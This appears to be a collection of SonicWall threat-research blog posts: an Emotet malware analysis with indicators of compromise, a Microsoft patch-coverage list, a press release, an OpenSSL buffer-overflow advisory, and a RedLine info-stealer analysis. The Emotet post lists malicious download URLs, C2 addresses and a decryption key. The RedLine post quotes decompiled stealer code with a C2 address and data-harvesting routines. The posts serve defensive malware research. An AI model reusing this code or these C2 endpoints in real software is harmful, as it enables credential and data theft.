Emotet Is Back!

Introduction

After several months of hiatus, Emotet is back. SonicWall Capture Labs threat research team has observed starting last week that the notorious malware, which heavily targets large organizations, has returned with similar tactics and functionality observed in past variants. Originally a banking trojan, Emotet has evolved into a dropper-type class of malware. It has been spreading through malicious Microsoft Office documents via email. Initially using JavaScript, VBA macros are now used to compromise the victims’ machines.

Figure 1: Infection Chain

Infection Vector

The infection vector is Excel 4.0 macros with malicious code distributed across excel spreadsheet cells. By default, the Excel file is opened in protected view, with the macros disabled. For this, Emotet Excel files have one image with instructions (Figure 2) asking user to copy the file to <Microsoft Office>\Templates folder and run again. This makes sure that execution of macros will be carried out seamlessly with user interaction.

Figure 2: Malicious document warning. The required actions infect the machine.

The macro code contains multiple URLs which further download the emotet dropper DLL.
URLs:
hxxp://app.clubdedocentes[.]com/storage/DCcq9ekgH99sI/
hxxp://linhkiendoc[.]com/app/payments/qoy5JqpLqrbsKl/
hxxp://sourcecool[.]com/throng/iOD/
hxxp://www.stickers-et-deco[.]com/Adapter/lYw/

Out of these 4 URLs only 3 were active at the time of analysis. These URLs downloaded 3 Emotet dropper DLLs having similar functionality. The DLLs are executed using regsvr32.exe.

Figure 3: View of the malicious VBA macro

DLL Analysis

Emotet is known for distributing many different malware families. During the analysis of two samples, no additional malware was observed being dropped or downloaded.

Sample 1

The dropper DLL has highly obfuscated custom packer code, including encrypted main Emotet DLL. The listed APIs involve multiple imports that are known to be used with malware. These cover multiple areas of monitoring, enumeration, execution, encryption, persistence, and exfiltration. Multiple APIs are loaded using DWORDs stored in memory (Figure 4).

Figure 4: Packed code shown in x64dbg

The custom decryption loop is used to decrypt the main Emotet DLL using key “vGZlfkkg?U^>+xzU”. Once regsvr32.exe is executed, the DLL is moved and renamed to “~\AppData\Local” and/or “\Windows\System32\” locations with a randomized name for both the parent folder and the file itself. A registry key is then created to autorun when the system is restarted (Figure 5).

Figure 5: Run Entry created for persistence

The process will then attempt to reach out to multiple IP addresses with a generated cookie and collected data. After initial communication with CnC servers it downloads further Emotet spammer module to the same folder or the “Appdata” directory.
For further spreading spammer module uses multiple malicious email templates like the one mentioned in Figure 6 below.


Figure 6: Email Template

It also uses a number of email domains, email addresses, their passwords and other information including malicious email attachments to spread across domains as seen in Figure 7.

Figure 7: Email Addresses and Passwords

This elaborates the redistribution mechanism of malware to infect other victims using already compromised email credentials.

Sample 2

This sample was a separate DLL file that showed several differences in both code and behavior. Manually running the decryption function resulted in a DLL being created within newly allocated memory space, but instead of a randomly named file, it’s called ‘clover.dll’ (Figure 8)  and differs from the dropper in multiple ways.

Figure 8: Clover.dll allocated in memory

 

The first point is that when clover.dll drops, it lacks several of the anti-analysis features that the original has; notably, one can go directly to the entrypoint in a debugger without the program terminating itself. There is also a string that produced only two Google results (f:\rtm\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl), both of which are samples on Alienvault OTX[i][ii].

Running ‘clover.dll’ with regsvr32.exe results in the same behavior as the dropper sample. It is moved to ~AppData\Local, a registry key is created for persistence, and system enumeration begins. Regsvr32 then spawns a child process and kills the parent (Figure 9), becoming a ‘non-existent process’; this is an anti-analysis technique that prevents debuggers from attaching to the process.

Figure 9: This process does not exist (to a debugger)

The second part to note is the way Emotet is communicating with the C2 servers: using regsvr32.exe to send TCP requests. No tool normally used for packet capture will show the action (Fiddler, Wireshark, TCPMon), except for Procmon. The entire communication occurs within 2-3ms as seen in Figures 10 and 11. Attempts to use netstat also failed.

Figure 10: Procmon output of TCP communications

Figure 11: Timestamps from beginning to end

Looking at the runtime memory of regsvr32, a large list of C2 addresses were found (Figure 12), along with cookie information and public keys.

Figure 12: Beginning of C2 list in private-mapped memory

 

SonicWall Real Time Deep Memory Inspection (RTDMI) is detecting the malicious Excel spread sheet in CAPTURE ATP. The emotet dropper, emotet dll and spammer module are also being detected by RTDMI.

Evidence of detection by RTDMI ™ engine for the emotet dll can be seen in the below screenshot :


Figure 13: RTDMI ATP Report results

IOCs

SHA256:
0bbcf67529105af0086ba37236adde773fa862a9af187c75903868d01b390202
a116213f16ecd416cbde43ddf94d3e5af1935886d19db1e978225c15616c1d7b
faf0a6cea7e6a5d7fea43ed8e2f89eee56f712e6334e19e1b4c2b75ffb71f720
dcb3f8703accb02764306e112857adf35fd93c46cd7bfe45a295f16e6a215c72
bf60837275da15ef6f67ab6214fea56a084045d19c056c01faecd3c5d5b7f207
baf72fda8d35b6f6653ecdae1bfac9ddb373b9a4e7d27e586cce30201557a1f8
c680183e3a3650a0930960227d8659ee5bba1406ef5c8f01546fd0c165c9eca2
04c40a669fcfcd20bd429cbe4f78c71e8403ca70f804262a24024cb40dba321b
64dca5069a1e7b3ed910d6525550cf1235de5199cb2a195da490d2cfb65334e4
b8d2ad91155d779270b7cb8b914e5a262d8a05bf39ba44dd56935a1ee9bc066e

C2 IP Addresses:

1.234.2[.]232:8080
101.50.0[.]91:8080
103.132.242[.]26:8080
103.43.75[.]120:443
103.75.201[.]2:443
104.168.155[.]143:8080
107.170.39[.]149:8080
110.232.117[.]186:8080
115.68.227[.]76:8080
119.59.103[.]152:8080
129.232.188[.]93:443
139.59.126[.]41:443
139.59.56[.]73:8080
147.139.166[.]154:8080
149.28.143[.]92:443
149.56.131[.]28:8080
153.126.146[.]25:7080
159.65.140[.]115:443
159.65.88[.]10:8080
159.89.202[.]34:443
160.16.142[.]56:8080
163.44.196[.]120:8080
164.68.99[.]3:8080
164.90.222[.]65:443
167.172.199[.]165:8080
167.172.253[.]162:8080
169.57.156[.]166:8080
169.60.181[.]70:8080
172.104.251[.]154:8080
172.105.226[.]75:8080
173.212.193[.]249:8080
182.162.143[.]56:443
182.162.143[.]5:8080
54.37.136[.]187:8080
95.54.66[.]204:1013
183.111.227[.]137:8080
185.4.135[.]165:8080
186.194.240[.]217:443
188.44.20[.]25:443
197.242.150[.]244:8080
201.94.166[.]162:443
206.189.28[.]199:8080
209.97.163[.]214:443
212.24.98[.]99:8080
213.239.212[.]5:443
45.118.115[.]99:8080
45.176.232[.]124:443
45.235.8[.]30:8080
5.135.159[.]50:443
51.161.73[.]194:443
72.15.201[.]15:8080
79.137.35[.]198:8080
82.223.21[.]224:8080
91.187.140[.]35:8080
91.207.28[.]33:8080
94.23.45[.]86:4143
95.217.221[.]146:8080

URLs:

hxxp://app.clubdedocentes[.]com/storage/DCcq9ekgH99sI/
hxxp://linhkiendoc[.]com/app/payments/qoy5JqpLqrbsKl/
hxxp://sourcecool[.]com/throng/iOD/
hxxp://www.stickers-et-deco[.]com/Adapter/lYw/

Public Keys:

RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5z/VpKQADAJA=
RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2a/UNKQAXAJA=

JA3 fingerprint:

8916410db85077a5460817142dcbc8de

Cookies:

WnnMFWF=0d3850HcEUxB57edscLqHsb2YxPDCKbPSZncMTx3O0h9lQgJCvRMC//BrnYhPFxgMRGCoZSHhMyTtzRWyGhLZIyda+8qlUGgEDzQZ0FNyFIFUjbe0aBVe6vknvoT1bSoMmylmeeNjwtPr1DVQt8JBHpbWAXjxP+zpYCEPYLK2b02cC0/cJtzfFLcECfpMT9WAGpj2uFr6QqpTPIivkS/Ta2r9sHA20takVBoZ9TbfwVVtlUfqlozgTltkAtCazcU/W8R9mfAVM1Y

Qs=0WODCSXcomwJtgWqI5e4bPB3yrdQoAEow+xn5MRK9/ao9xobva9p8/jpU6RvJLwBpREszZe6f224Qoc20YVdaKXLpEoD+CwRklu0H7XCKQZe8V+CPjtzCo5fzkDm2SHBIMJmPkIdY0HZvSGjXBvSwpA74U8FBJdbzKmUSvZKeLE2D1zGVF25KW5b0s+FQ9ah7qgmwJxNkXCL7cbrL73Cnqi5G3XPALWmwxxRbX2F/rzzDxIkkxHSBI7ggXr5ndl799lGGQd4F0v171zhI+/VNrTtpcEnZM5drvJsD/wrrEGBY7NJUGIom7MjeZtu8/cOx+TR

[i]https://otx.alienvault.com/indicator/file/7fbcad6af8fc4b6aa18f877feabcfc31b0a4b1a4895ccaf70a90bceaff9331d2/

[ii]https://otx.alienvault.com/indicator/file/f8fa14b1f1d267d5c348d97f516ea9e6912f8747a6e659b45c428d931082f6e6

Microsoft Security Bulletin Coverage for November 2022

SonicWall Capture Labs threat research team has analyzed and addressed Microsoft’s security advisories for the month of November 2022. A list of issues reported, along with SonicWall coverage information, is as follows:

CVE-2022-41057 Windows HTTP.sys Elevation of Privilege Vulnerability
ASPY 380: Malformed-File exe.MP_281

CVE-2022-41096 Microsoft DWM Core Library Elevation of Privilege Vulnerability
ASPY 381: Malformed-File exe.MP_282

CVE-2022-41109 Windows Win32k Elevation of Privilege Vulnerability
ASPY 382: Malformed-File exe.MP_287

CVE-2022-41113 Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability
ASPY 383: Malformed-File exe.MP_288

CVE-2022-41118 Windows Scripting Languages Remote Code Execution Vulnerability
IPS 15529: Windows Scripting Languages Remote Code Execution (CVE-2022-41118)

CVE-2022-41125 Windows CNG Key Isolation Service Elevation of Privilege Vulnerability
ASPY 384: Malformed-File exe.MP_289

The following vulnerabilities do not have exploits in the wild :
CVE-2022-37966 Windows Kerberos RC4-HMAC Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-37967 Windows Kerberos Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-37992 Windows Group Policy Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-38014 Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-38015 Windows Hyper-V Denial of Service Vulnerability
There are no known exploits in the wild.
CVE-2022-38023 Netlogon RPC Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41039 Windows Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2022-41044 Windows Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2022-41045 Windows Advanced Local Procedure Call (ALPC) Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41047 Microsoft ODBC Driver Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2022-41048 Microsoft ODBC Driver Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2022-41049 Windows Mark of the Web Security Feature Bypass Vulnerability
There are no known exploits in the wild.
CVE-2022-41050 Windows Extensible File Allocation Table Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41051 Azure RTOS GUIX Studio Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2022-41052 Windows Graphics Component Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2022-41053 Windows Kerberos Denial of Service Vulnerability
There are no known exploits in the wild.
CVE-2022-41054 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41055 Windows Human Interface Device Information Disclosure Vulnerability
There are no known exploits in the wild.
CVE-2022-41056 Network Policy Server (NPS) RADIUS Protocol Denial of Service Vulnerability
There are no known exploits in the wild.
CVE-2022-41058 Windows Network Address Translation (NAT) Denial of Service Vulnerability
There are no known exploits in the wild.
CVE-2022-41060 Microsoft Word Information Disclosure Vulnerability
There are no known exploits in the wild.
CVE-2022-41061 Microsoft Word Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2022-41062 Microsoft SharePoint Server Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2022-41063 Microsoft Excel Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2022-41064 .NET Framework Information Disclosure Vulnerability
There are no known exploits in the wild.
CVE-2022-41066 Microsoft Business Central Information Disclosure Vulnerability
There are no known exploits in the wild.
CVE-2022-41073 Windows Print Spooler Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41078 Microsoft Exchange Server Spoofing Vulnerability
There are no known exploits in the wild.
CVE-2022-41079 Microsoft Exchange Server Spoofing Vulnerability
There are no known exploits in the wild.
CVE-2022-41080 Microsoft Exchange Server Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41085 Azure CycleCloud Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41086 Windows Group Policy Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41088 Windows Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2022-41090 Windows Point-to-Point Tunneling Protocol Denial of Service Vulnerability
There are no known exploits in the wild.
CVE-2022-41091 Windows Mark of the Web Security Feature Bypass Vulnerability
There are no known exploits in the wild.
CVE-2022-41092 Windows Win32k Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41093 Windows Advanced Local Procedure Call (ALPC) Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41095 Windows Digital Media Receiver Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41097 Network Policy Server (NPS) RADIUS Protocol Information Disclosure Vulnerability
There are no known exploits in the wild.
CVE-2022-41098 Windows GDI+ Information Disclosure Vulnerability
There are no known exploits in the wild.
CVE-2022-41099 BitLocker Security Feature Bypass Vulnerability
There are no known exploits in the wild.
CVE-2022-41100 Windows Advanced Local Procedure Call (ALPC) Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41101 Windows Overlay Filter Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41102 Windows Overlay Filter Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41103 Microsoft Word Information Disclosure Vulnerability
There are no known exploits in the wild.
CVE-2022-41104 Microsoft Excel Security Feature Bypass Vulnerability
There are no known exploits in the wild.
CVE-2022-41105 Microsoft Excel Information Disclosure Vulnerability
There are no known exploits in the wild.
CVE-2022-41106 Microsoft Excel Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2022-41107 Microsoft Office Graphics Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2022-41114 Windows Bind Filter Driver Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41116 Windows Point-to-Point Tunneling Protocol Denial of Service Vulnerability
There are no known exploits in the wild.
CVE-2022-41119 Visual Studio Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2022-41120 Microsoft Windows Sysmon Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41122 Microsoft SharePoint Server Spoofing Vulnerability
There are no known exploits in the wild.
CVE-2022-41123 Microsoft Exchange Server Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2022-41128 Windows Scripting Languages Remote Code Execution Vulnerability
There are no known exploits in the wild.

SonicWall Included on the Acclaimed CRN Edge Computing 100 List for 2022

MILPITAS, Calif. — OCT. 25, 2022 — SonicWall announced today that CRN, a brand of The Channel Company, earned a spot in its 2022 Edge Computing 100 list in the security category. The annual list honors the trailblazing vendors leading the channel with next-generation technology that is helping to build intelligent edge solutions for Edge Hardware, Software and Services; IoT and 5G Edge Services; and Security.

“SonicWall prides itself on providing innovative security solutions that supply its channel partners with next-generation edge technologies that allow businesses to capture, process, and use data in more intelligent ways,” said SonicWall VP of Products Jayant Thakre. “This acknowledgment by CRN is an indicator of SonicWall’s unwavering commitment to the channel and delivering efficient and reliable security solutions for our customers.”

Now more than ever, we have grown to understand the importance of adapting quickly to market conditions, changes, and trends. The rise of the intelligent edge is making that easier, delivering solutions that move data collection and processing closer to where it’s needed the most — users. Extracting the value of data is a key differentiator for every business today. As more employees move to hybrid or remote work, the need for elevating and securing the edge is critical. The vendors highlighted on this year’s Edge Computing 100 list encompass the dedication and commitment to constantly improving the technology to provide utmost security and precision technology to the channel.

Having an intelligent edge wrapped in security tools and channel services is key to a successful edge deployment, and SonicWall’s cloud-native management and analytics transform threat data into defensive actions to mitigate hidden risks across networks, applications, and users. Its virtual offerings and cloud services are paired with on-premises deployments to solve security issues for SMBs, enterprises and governments.

“CRN’s 2022 Edge Computing 100 list is an exciting opportunity for CRN to recognize innovative vendors that are delivering the technology enterprises need to build unique, intelligent edge solutions,” said Blaine Raddon, CEO of The Channel Company. “These contributors empower channel partners to work smarter and extract the most value from their data. We want to celebrate their impact on the IT channel and the incredible progress we are able to make because of them. Congratulations to all those recognized on this year’s list!”

The categories recognized in this list include Edge Hardware, Software and Services; IoT and 5G Edge Services; and Security.

Companies named to the Edge Computing 100 list are judged on a number of criteria, including the company’s impact on the market, its overall influence on the channel, and the types of technologies and services it makes available to partners to help them build state-of-the-art edge solutions.

OpenSSL X509 Certificate Vulnerabilities

Overview:

  SonicWall Capture Labs Threat Research Team has observed the following threat:

  The OpenSSL Project develops and maintains the OpenSSL software a robust, commercial-grade, full-featured toolkit for general-purpose cryptography and secure communication. OpenSSL contains an open-source implementation of the SSL and TLS protocols. The core library, written in the C programming language, implements basic cryptographic functions and provides various utility functions.

  Overview of OpenSSL Vulnerabilities:
    (CVE-2022-3602) ossl_punycode_decode()​​, punycode domain name “xn--” buffer overflow.
    (CVE-2022-3786) ossl_a2ulabel(), punycode string that includes a dot “.” ensuring buffer overflow.

  A stack-based buffer overflow can be triggered in the X.509 certificate verification process, specifically in the ossl_punycode_decode buffer.

  An attacker can craft a malicious certificate to overflow the ossl_punycode_decode buffer in multiple scenarios. This buffer overflow could result in a DoS(Denial of Service) or potentially RCE(Remote Code Execution).

  Vendor Homepage

CVE Reference:

  The vulnerabilities have been assigned the Common Vulnerabilities and Exposures (CVE) identifiers:

    CVE-2022-3602 Listing
    CVE-2022-3786 Listing

Common Vulnerability Scoring System (CVSS):

  CVE-2022-3602 – Base 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C), Temporal 7.8 (E:POC/RL:OF/RC:C).
  CVE-2022-3786 – Base 7.8 (AV:N/AC:L/Au:N/C:N/I:N/A:C), Temporal 5.8 (E:U/RL:OF/RC:C).

Technical Overview:

  Related to CVE-2022-3602:
    The vulnerability is due to a 4-byte (32-bit) buffer overflow that is caused by an off-by-one error inside OpenSSL’s Punycode library (ossl_punycode_decode) in punycode.c, where the “max length” argument (unsigned int *pout_length) is the number of elements allocated and not verified if out of bounds. The vulnerable function ossl_punycode_decode() is responsible in parsing all sub-domains starting with “xn--“. That means that any Punycode string that decodes to exactly one more 32-bit character than the maximum length will overwrite the memory immediately following the decoded string.

  Related to CVE-2022-3786:
    The vulnerability exists in the ossl_a2ulabel function within punycode.c, The vulnerability is due to improper validation of Punycode encoded strings. Memory addresses stored right after the buffer, causes a partial address overwrite that might lead to an exploitable memory corruption. The code is mostly contained in a infinite while loop, which processes each label (ie, the portions of the name between periods) until it runs out. If the label does not start with xn-- (ie, it’s a standard label), it’s basically copied directly into the output buffer. If the label does start with xn--, the else statement executes, and it decodes the punycode encoded string using the vulnerable ossl_punycode_decode function.

  The vulnerable Punycode functions are apart of the libcrypto.so shared library. (also libcrypto.a) They’re accessible through certificate-validation functions after certificate validation. In a trusted certificate, this can potentially affect any client application running a vulnerable server version of OpenSSL.

Triggering the Problem:

  • The target must have the vulnerable software installed.
  • The attacker must have network connectivity to the target server.

Triggering Conditions:

  TLS Connections:
  Normal Client/Server handshake connection. (Server sends Certificate)
  Mutual Authentication handshake connection. (Server sends Certificate and Server Asks For Client Certificate)

Attack Delivery:

  The following application protocols can be used to deliver an attack that exploits this vulnerability:
    • SSL/TLS transport mechanisms such as (HTTPS, SMTPS, SIPS, etc…)

  CVE-2022-3602 Attack Packet:
  
  CVE-2022-3786 Attack Packet:
  

SonicWall’s, (IPS) Intrusion Prevention System, provides protection against this threat:

  • IPS: 3332 OpenSSL X.509 Name Constraint Check Buffer Overflow
  • IPS: 3335 OpenSSL X.509 Name Constraint Check Buffer Overflow 2

Remediation Details:

  The risks posed by this vulnerability can be mitigated or eliminated by:
    • Upgrading the product to a non-vulnerable version.
    • Detecting and filtering malicious traffic using the signatures above.
  The vendor has released the following advisory regarding this vulnerability:
  Vendor Advisory

Follina Vulnerability is being used to deliver Redline info stealer

Introduction

Malware authors are extensively using C# code to build malware since last few years, due to its simplicity and rich Application Programming Interfaces (API). RedLine is a C# written advanced info stealer active in the wild since 2020, it is available Malware-as-a-Service (Maas) on underground forum to subscribe or one time purchase. RedLine was initially spreading by sharing Unified Resource Locator (URL) in emails to be downloaded. But the method needed human intervention to execute the downloaded payload. Recently, the RedLine has started using Follina exploit targeting the CVE-2022-30190 Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability, the method triggers the in-memory execution of the malware instead of saving on the disk. RedLine code is visibly simple with vast functionalities. Delivery and execution mechanism involves additional layers to prevent detection and analysis of the malware. The RedLine steals installed browsers data, digital wallets, FTP data, VPN data, Telegram files, Discord tokens, geographical data and captures screen.

 

Protection Layers

Protection layers are used recursively to bring and execute next level binary until gets the final payload, to prevent the detection and static analysis of the main payload.

Layer 1

The first binary contains encrypted resource entry named as “Helper_Classes”. RC2 decryption is used with key as ‘0989B3A46874B279F1BF795ED112CE22’ (MD5 from a string), mode as Electronic Code Book (ECB) and padding as PKCS7 to get next layer binary. Second layer binary is loaded and executed using reflection APIs.

 

Layer 2

The second binary contains Advanced Encryption Standard (AES) encrypted resource entry named as “Tesla”. AES algorithm is used with key ‘AB6EDF45E299A7B2968A9D7CD013C1164EFC6165508D691F085B7D9462EE945B’ (SHA256 from a string) and mode as ECB to get next layer binary. Export function from the third binary is invoked using reflection APIs by passing current executable path and payload binary bytes. The malware makes the persistence entry by copying itself into ‘%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\.exe’ using the PowerShell command (cmdlet).

Layer 3

This third binary is obfuscated variant of RunPE module available on GitHub by author NYAN CAT. The module accepts two arguments the executable file path and payload bytes. A new process is created for the provided file path and does process hollowing to execute the RedLine payload bytes.

 

RedLine Execution

The execution of RedLine info stealer starts from the main method that creates object of EntryPoint class which invokes the constructor, to initialize the Command and Control (C&C) IP addresses list, release identifier, message for the victim and key to decrypt. For the variant, key is kept empty as the fields including the C&C IP addresses list are not encrypted. The constructor also invokes unmanaged code APIs to hide the process console.

public EntryPoint()
{
NativeHelper.Hide();
IP = "45.155.165.19:24150";
ID = "rule";
Message = "";
Key = "";
}

After the initialization, Execute method is invoked which controls the complete execution flow starting from establishing connection with the C&C server using Simple Object Access Protocol (SOAP) API over Hypertext Transfer Protocol Secure (HTTPS) protocol. The malware tries to connect one of the IP addresses from the list of C&C IP addresses, separated by “|”, at the interval of 5 seconds until the connection is established.

bool flag = false;
while (!flag)
{
string[] array = StringDecrypt.Decrypt(entry.IP, entry.Key).Split(new string[1] { "|" }, StringSplitOptions.RemoveEmptyEntries);
foreach (string address in array)
{
if (endpointConnection.RequestConnection(address) && endpointConnection.TryGetConnection())
{
flag = true;
break;
}
}
Thread.Sleep(5000);
}

 

Object of ScanningArgs class is instantiated which contains configuration information including flags to control various actions on the victim’s machine, list for scanning directory paths and attributes to terminate malware execution.

public class ScanningArgs
{
public bool ScanBrowsers { get; set; }
public bool ScanFiles { get; set; }
public bool ScanFTP { get; set; }
public bool ScanWallets { get; set; }
public bool ScanScreen { get; set; }
public bool ScanTelegram { get; set; }
public bool ScanVPN { get; set; }
public bool ScanSteam { get; set; }
public bool ScanDiscord { get; set; }
public List<string> ScanFilesPaths { get; set; }
public List<string> BlockedCountry { get; set; }
public List<string> BlockedIP { get; set; }
public List<string> ScanChromeBrowsersPaths { get; set; }
public List<string> ScanGeckoBrowsersPaths { get; set; }
}

 

A new object of ScanningArgs is received from the C&C server to update the default configuration object.

while (!endpointConnection.TryGetArgs(out args))
{
if (!endpointConnection.TryGetConnection())
{
throw new Exception();
}
Thread.Sleep(1000);
}

 

The BlockedContry list and BlockedIP list is empty for the variant. ScanFilesPaths contains list of files information to be collected from the victim’s machine, ScanChromeBrowsersPaths contains paths of user data storage directory for Chromium based browsers and ScanGeckoBrowsersPaths contains paths user data storage directory for Gecko based browsers:

Two structures are used by the malware to store the stolen information from the compromised machine. ScanResult is the main structure which stores the basic information and references to another structure ScanDetails (object is referred as structure) which stores the advance information.

public struct ScanResult
{
public string Hardware { get; set; }
public string ReleaseID { get; set; }
public string MachineName { get; set; }
public string OSVersion { get; set; }
public string Language { get; set; }
public string Resolution { get; set; }
public ScanDetails ScanDetails { get; set; }
public string Country { get; set; }
public string City { get; set; }
public string TimeZone { get; set; }
public string IPv4 { get; set; }
public byte[] Monitor { get; set; }
public string ZipCode { get; set; }
public string FileLocation { get; set; }
public bool SeenBefore { get; set; }
}

 

ScanResult.ScanDetails = new ScanDetails
{
AvailableLanguages = new List<string>(),
Browsers = new List<ScannedBrowser>(),
FtpConnections = new List<Account>(),
GameChatFiles = new List<ScannedFile>(),
GameLauncherFiles = new List<ScannedFile>(),
InstalledBrowsers = new List<BrowserVersion>(),
MessageClientFiles = new List<ScannedFile>(),
NordAccounts = new List<Account>(),
Open = new List<ScannedFile>(),
Processes = new List<string>(),
Proton = new List<ScannedFile>(),
ScannedFiles = new List<ScannedFile>(),
ScannedWallets = new List<ScannedFile>(),
SecurityUtils = new List<string>(),
Softwares = new List<string>(),
SystemHardwares = new List<SystemHardware>()
};

 

The malware retrieves the geographical information using one of the below URLs and initializes fields IPv4, City, Country and ZipCode into ScanResult structure.

  • ‘https://api.ip.sb/geoip’
  • ‘https://ipinfo.io/ip’
  • ‘https://api.ipify.org’

 

The malware terminates its execution, if the county or IP address of the compromised machine belongs to its lists of blocked countries or IPs respectively.

public static void AKSFD8H23(ScanningArgs settings, ref ScanResult result)
{
GeoInfo geoInfo = GeoHelper.Get();
geoInfo.IP = (string.IsNullOrWhiteSpace(geoInfo.IP) ? "UNKNOWN" : geoInfo.IP);
geoInfo.Location = (string.IsNullOrWhiteSpace(geoInfo.Location) ? "UNKNOWN" : geoInfo.Location);
geoInfo.Country = (string.IsNullOrWhiteSpace(geoInfo.Country) ? "UNKNOWN" : geoInfo.Country);
geoInfo.PostalCode = (string.IsNullOrWhiteSpace(geoInfo.PostalCode) ? "UNKNOWN" : geoInfo.PostalCode);
List<string> blockedCountry = settings.BlockedCountry;
if (blockedCountry != null && blockedCountry.Count > 0 && settings.BlockedCountry.Contains(geoInfo.Country))
{
Environment.Exit(0);
}
List<string> blockedIP = settings.BlockedIP;
if (blockedIP != null && blockedIP.Count > 0 && settings.BlockedIP.Contains(geoInfo.IP))
{
Environment.Exit(0);
}
result.IPv4 = geoInfo.IP;
result.City = geoInfo.Location;
result.Country = geoInfo.Country;
result.ZipCode = geoInfo.PostalCode;
}

 

The malware contains 22 action methods to collect data and perform tasks on compromised machine. The methods are invoked dynamically and randomly, and some of them perform action based on the flag values from the object of ScanningArgs class.

Actions = new ParsingStep[22] {
asdkadu8, sdfo8n234, sdfi35sdf, sdf934asd, asdk9345asd, a03md9ajsd, asdk8jasd, лыв7рыва2, ылв92р34выа, аловй, ыал8р45, ываш9р34, длвап9345, ывал8н34, вал93тфыв, вашу0л34, навева, ащы9р34, ыва83о4тфыв, askd435, sdi845sa, asd44123
};
Random rnd = new Random();
Actions = Actions.OrderBy((ParsingStep x) => rnd.Next()).ToArray();
Actions = new ParsingStep[22] {
asdkadu8, sdfo8n234, sdfi35sdf, sdf934asd, asdk9345asd, a03md9ajsd, asdk8jasd, лыв7рыва2, ылв92р34выа, аловй, ыал8р45, ываш9р34, длвап9345, ывал8н34, вал93тфыв, вашу0л34, навева, ащы9р34, ыва83о4тфыв, askd435, sdi845sa, asd44123
};
foreach (ParsingStep parsingStep in actions)
{
try
{
parsingStep(settings, ref result);
}
catch
{}
}

 

Action Methods

Action methods are used to fill the ScanResult and ScanDetails structures with the stolen data from the compromised machine.

 

  1. asdkadu8 (HardwareID)

Retrieves and concatenates domain name, username and serial number from the compromised machine to compute the MD5 hash. The MD5 hash is assigned to the Hardware field into ScanResult structure. This Hardware field can be used by the threat actors to identify the compromised machine.

ScanResult.Hardware = CryptoHelper.GetMd5Hash(Environment.UserDomainName + Environment.UserName + SystemInfoHelper.GetSerialNumber()).Replace("-", string.Empty);

 

  1. sdfo8n234 (ExecutableLocation)

File path of the running executable is assigned to FileLocation field into ScanResult structure.

ScanResult.FileLocation = Assembly.GetExecutingAssembly().Location;

 

  1. sdfi35sdf (OSInfo)

Retrieves input language, Time Zone and Operating System (OS) version from the compromised machine, and assigns respectively into Language, TimeZone and OSVersion fields into ScanResult structure.

ScanResult.Language = InputLanguage.CurrentInputLanguage.Culture.EnglishName;
ScanResult.TimeZone = TimeZoneInfo.Local.DisplayName;
ScanResult.OSVersion = SystemInfoHelper.GetWindowsVersion();

 

  1. sdf934asd (UserName)

Username of the compromised machine is assigned to MachineName field into ScanResult structure.

ScanResult.MachineName = Environment.UserName;

 

  1. asdk9345asd (ProcessorInfo)

Windows Management Instrumentation (WMI) query ‘SELECT * FROM Win32_Processor’ is executed to retrieve the processor information. Processor name, number of cores and processor type is assigned to Name, Counter and HardType fields respectively and added to SystemHardwares list into ScanDetails structure.

ScanResult .ScanDetails.SystemHardwares
{
Name = (managementObject["Name"] as string),
Counter = Convert.ToString(managementObject["NumberOfCores"]),
HardType = HardwareType.Processor
}

 

  1. a03md9ajsd (GraphicInfo)

WMI query ‘SELECT * FROM Win32_VideoController’ is executed to retrieve the graphics information. Name, AdapterRAM and Graphic type is assigned to Name, Counter and HardType fields respectively and added to SystemHardwares list into ScanDetails structure.

 

ScanResult.ScanDetails.SystemHardwares
{
Name = (managementObject["Name"] as string),
Counter = Convert.ToUInt32(managementObject["AdapterRAM"]).ToString(),
HardType = HardwareType.Graphic
}

 

